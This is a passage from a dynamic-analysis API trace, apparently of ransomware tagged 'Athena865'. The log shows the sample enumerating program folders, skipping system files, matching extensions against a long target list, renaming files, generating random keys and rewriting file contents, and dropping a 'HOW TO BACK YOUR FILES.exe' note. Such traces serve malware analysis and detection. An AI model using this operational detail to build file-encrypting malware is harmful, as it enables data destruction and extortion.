[0119.348] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0119.348] lstrlenW (lpString="ask") returned 3 [0119.348] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0119.348] lstrlenW (lpString="btr") returned 3 [0119.348] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0119.348] lstrlenW (lpString="cat") returned 3 [0119.348] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0119.348] lstrlenW (lpString="cdb") returned 3 [0119.348] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0119.348] lstrlenW (lpString="ckp") returned 3 [0119.348] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0119.348] lstrlenW (lpString="cma") returned 3 [0119.348] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0119.348] lstrlenW (lpString="cpd") returned 3 [0119.348] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0119.348] lstrlenW (lpString="dacpac") returned 6 [0119.348] lstrcmpiW (lpString1="rw.dll", lpString2="dacpac") returned 1 [0119.348] lstrlenW (lpString="dad") returned 3 [0119.348] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0119.348] lstrlenW (lpString="dadiagrams") returned 10 [0119.348] lstrlenW (lpString="daschema") returned 8 [0119.348] lstrcmpiW (lpString1="mlrw.dll", lpString2="daschema") returned 1 [0119.348] lstrlenW (lpString="db-journal") returned 10 [0119.348] lstrlenW (lpString="db-shm") returned 6 [0119.348] lstrcmpiW (lpString1="rw.dll", lpString2="db-shm") returned 1 [0119.348] lstrlenW (lpString="db-wal") returned 6 [0119.348] lstrcmpiW (lpString1="rw.dll", lpString2="db-wal") returned 1 [0119.348] lstrlenW (lpString="dbc") returned 3 [0119.348] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0119.348] lstrlenW (lpString="dbs") returned 3 [0119.348] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0119.348] lstrlenW (lpString="dbt") returned 3 [0119.349] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0119.349] lstrlenW (lpString="dbv") returned 3 [0119.349] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0119.349] lstrlenW (lpString="dbx") returned 3 [0119.349] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0119.349] lstrlenW (lpString="dcb") returned 3 [0119.349] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0119.349] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0119.349] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0119.349] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0119.349] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll.Athena865") returned 63 [0119.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll.athena865"), dwFlags=0x1) returned 1 [0119.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.350] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=282136) returned 1 [0119.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.351] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.351] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.351] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.352] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45120, lpName=0x0) returned 0x154 [0119.353] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45120) returned 0x2d50000 [0119.366] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.367] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.367] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.368] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0119.370] CloseHandle (hObject=0x154) returned 1 [0119.370] CloseHandle (hObject=0x17c) returned 1 [0119.370] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.370] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.372] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0119.372] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.372] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.372] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2=".") returned 1 [0119.372] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="..") returned 1 [0119.372] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="windows") returned 1 [0119.372] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="bootmgr") returned 1 [0119.372] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="temp") returned 1 [0119.372] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="pagefile.sys") returned 1 [0119.372] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="boot") returned 1 [0119.372] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="ids.txt") returned 1 [0119.372] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="ntuser.dat") returned 1 [0119.372] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="perflogs") returned 1 [0119.372] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="MSBuild") returned 1 [0119.372] lstrlenW (lpString="xmlrwbin.dll") returned 12 [0119.372] lstrcpyW (in: lpString1=0x241e8a0, lpString2="xmlrwbin.dll" | out: lpString1="xmlrwbin.dll") returned="xmlrwbin.dll" [0119.372] lstrlenW (lpString="xmlrwbin.dll") returned 12 [0119.372] lstrlenW (lpString="Athena865") returned 9 [0119.373] lstrcmpiW (lpString1="rwbin.dll", lpString2="Athena865") returned 1 [0119.373] lstrlenW (lpString=".dll") returned 4 [0119.373] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2=".dll") returned 1 [0119.373] lstrlenW (lpString=".lnk") returned 4 [0119.373] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2=".lnk") returned 1 [0119.373] lstrlenW (lpString=".ini") returned 4 [0119.373] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2=".ini") returned 1 [0119.373] lstrlenW (lpString=".sys") returned 4 [0119.373] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2=".sys") returned 1 [0119.373] lstrlenW (lpString="xmlrwbin.dll") returned 12 [0119.373] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll.Athena865") returned 66 [0119.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll.athena865"), dwFlags=0x1) returned 1 [0119.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.374] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=199192) returned 1 [0119.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.374] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.375] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.375] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.375] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.375] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30d20, lpName=0x0) returned 0x154 [0119.377] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30d20) returned 0x170000 [0119.383] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.384] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.384] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.385] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0119.387] CloseHandle (hObject=0x154) returned 1 [0119.387] CloseHandle (hObject=0x17c) returned 1 [0119.387] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.387] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.387] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.388] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0119.388] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0119.388] ReleaseMutex (hMutex=0xec) returned 1 [0119.388] CloseHandle (hObject=0xec) returned 1 [0119.388] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" [0119.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528cb0 | out: hHeap=0x4f0000) returned 1 [0119.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f700 | out: hHeap=0x4f0000) returned 1 [0119.388] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles") returned 43 [0119.388] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FF57C54A96BAFB99725405C70E17B3E9") returned 0xec [0119.388] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0119.388] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" [0119.388] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0119.389] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\how to back your files.exe"), bFailIfExists=1) returned 0 [0119.389] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0119.389] GetLastError () returned 0x0 [0119.389] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0119.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0119.389] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0119.390] CloseHandle (hObject=0xf4) returned 1 [0119.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.390] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0119.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xce4b88a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce4b88a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0119.391] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.391] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.391] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0119.391] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xce4b88a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce4b88a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.391] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.391] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.391] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0119.391] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0119.391] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0119.391] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.391] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.391] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2=".") returned 1 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="..") returned 1 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="windows") returned -1 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="bootmgr") returned -1 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="temp") returned -1 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="pagefile.sys") returned -1 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="boot") returned -1 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="ids.txt") returned -1 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="ntuser.dat") returned -1 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="perflogs") returned -1 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="MSBuild") returned -1 [0119.392] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0119.392] lstrcpyW (in: lpString1=0x241e8a0, lpString2="16to9Squareframe_Buttongraphic.png" | out: lpString1="16to9Squareframe_Buttongraphic.png") returned="16to9Squareframe_Buttongraphic.png" [0119.392] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0119.392] lstrlenW (lpString="Athena865") returned 9 [0119.392] lstrcmpiW (lpString1="aphic.png", lpString2="Athena865") returned -1 [0119.392] lstrlenW (lpString=".dll") returned 4 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2=".dll") returned 1 [0119.392] lstrlenW (lpString=".lnk") returned 4 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2=".lnk") returned 1 [0119.392] lstrlenW (lpString=".ini") returned 4 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2=".ini") returned 1 [0119.392] lstrlenW (lpString=".sys") returned 4 [0119.392] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2=".sys") returned 1 [0119.392] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0119.392] lstrlenW (lpString="bak") returned 3 [0119.392] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0119.392] lstrlenW (lpString="ba_") returned 3 [0119.392] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0119.392] lstrlenW (lpString="dbb") returned 3 [0119.393] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0119.393] lstrlenW (lpString="vmdk") returned 4 [0119.393] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0119.393] lstrlenW (lpString="rar") returned 3 [0119.393] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0119.393] lstrlenW (lpString="zip") returned 3 [0119.393] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0119.393] lstrlenW (lpString="tgz") returned 3 [0119.393] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0119.393] lstrlenW (lpString="vbox") returned 4 [0119.393] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0119.393] lstrlenW (lpString="vdi") returned 3 [0119.393] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0119.393] lstrlenW (lpString="vhd") returned 3 [0119.393] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0119.393] lstrlenW (lpString="vhdx") returned 4 [0119.393] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0119.393] lstrlenW (lpString="avhd") returned 4 [0119.393] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0119.393] lstrlenW (lpString="db") returned 2 [0119.393] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0119.393] lstrlenW (lpString="db2") returned 3 [0119.393] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0119.393] lstrlenW (lpString="db3") returned 3 [0119.393] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0119.393] lstrlenW (lpString="dbf") returned 3 [0119.393] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0119.393] lstrlenW (lpString="mdf") returned 3 [0119.393] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0119.393] lstrlenW (lpString="mdb") returned 3 [0119.394] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0119.394] lstrlenW (lpString="sql") returned 3 [0119.394] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0119.394] lstrlenW (lpString="sqlite") returned 6 [0119.394] lstrcmpiW (lpString1="ic.png", lpString2="sqlite") returned -1 [0119.394] lstrlenW (lpString="sqlite3") returned 7 [0119.394] lstrcmpiW (lpString1="hic.png", lpString2="sqlite3") returned -1 [0119.394] lstrlenW (lpString="sqlitedb") returned 8 [0119.394] lstrcmpiW (lpString1="phic.png", lpString2="sqlitedb") returned -1 [0119.394] lstrlenW (lpString="xml") returned 3 [0119.394] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0119.394] lstrlenW (lpString="$er") returned 3 [0119.394] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0119.394] lstrlenW (lpString="4dd") returned 3 [0119.394] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0119.394] lstrlenW (lpString="4dl") returned 3 [0119.394] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0119.394] lstrlenW (lpString="^^^") returned 3 [0119.394] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0119.394] lstrlenW (lpString="abs") returned 3 [0119.394] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0119.394] lstrlenW (lpString="abx") returned 3 [0119.394] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0119.394] lstrlenW (lpString="accdb") returned 5 [0119.394] lstrcmpiW (lpString1="c.png", lpString2="accdb") returned 1 [0119.394] lstrlenW (lpString="accdc") returned 5 [0119.394] lstrcmpiW (lpString1="c.png", lpString2="accdc") returned 1 [0119.394] lstrlenW (lpString="accde") returned 5 [0119.394] lstrcmpiW (lpString1="c.png", lpString2="accde") returned 1 [0119.395] lstrlenW (lpString="accdr") returned 5 [0119.395] lstrcmpiW (lpString1="c.png", lpString2="accdr") returned 1 [0119.395] lstrlenW (lpString="accdt") returned 5 [0119.395] lstrcmpiW (lpString1="c.png", lpString2="accdt") returned 1 [0119.395] lstrlenW (lpString="accdw") returned 5 [0119.395] lstrcmpiW (lpString1="c.png", lpString2="accdw") returned 1 [0119.395] lstrlenW (lpString="accft") returned 5 [0119.395] lstrcmpiW (lpString1="c.png", lpString2="accft") returned 1 [0119.395] lstrlenW (lpString="adb") returned 3 [0119.395] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.395] lstrlenW (lpString="adb") returned 3 [0119.395] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.395] lstrlenW (lpString="ade") returned 3 [0119.395] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0119.395] lstrlenW (lpString="adf") returned 3 [0119.395] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0119.395] lstrlenW (lpString="adn") returned 3 [0119.395] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0119.395] lstrlenW (lpString="adp") returned 3 [0119.395] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0119.395] lstrlenW (lpString="alf") returned 3 [0119.395] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0119.395] lstrlenW (lpString="ask") returned 3 [0119.395] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0119.395] lstrlenW (lpString="btr") returned 3 [0119.395] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0119.395] lstrlenW (lpString="cat") returned 3 [0119.395] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0119.395] lstrlenW (lpString="cdb") returned 3 [0119.395] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0119.396] lstrlenW (lpString="ckp") returned 3 [0119.396] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0119.396] lstrlenW (lpString="cma") returned 3 [0119.396] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0119.396] lstrlenW (lpString="cpd") returned 3 [0119.396] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 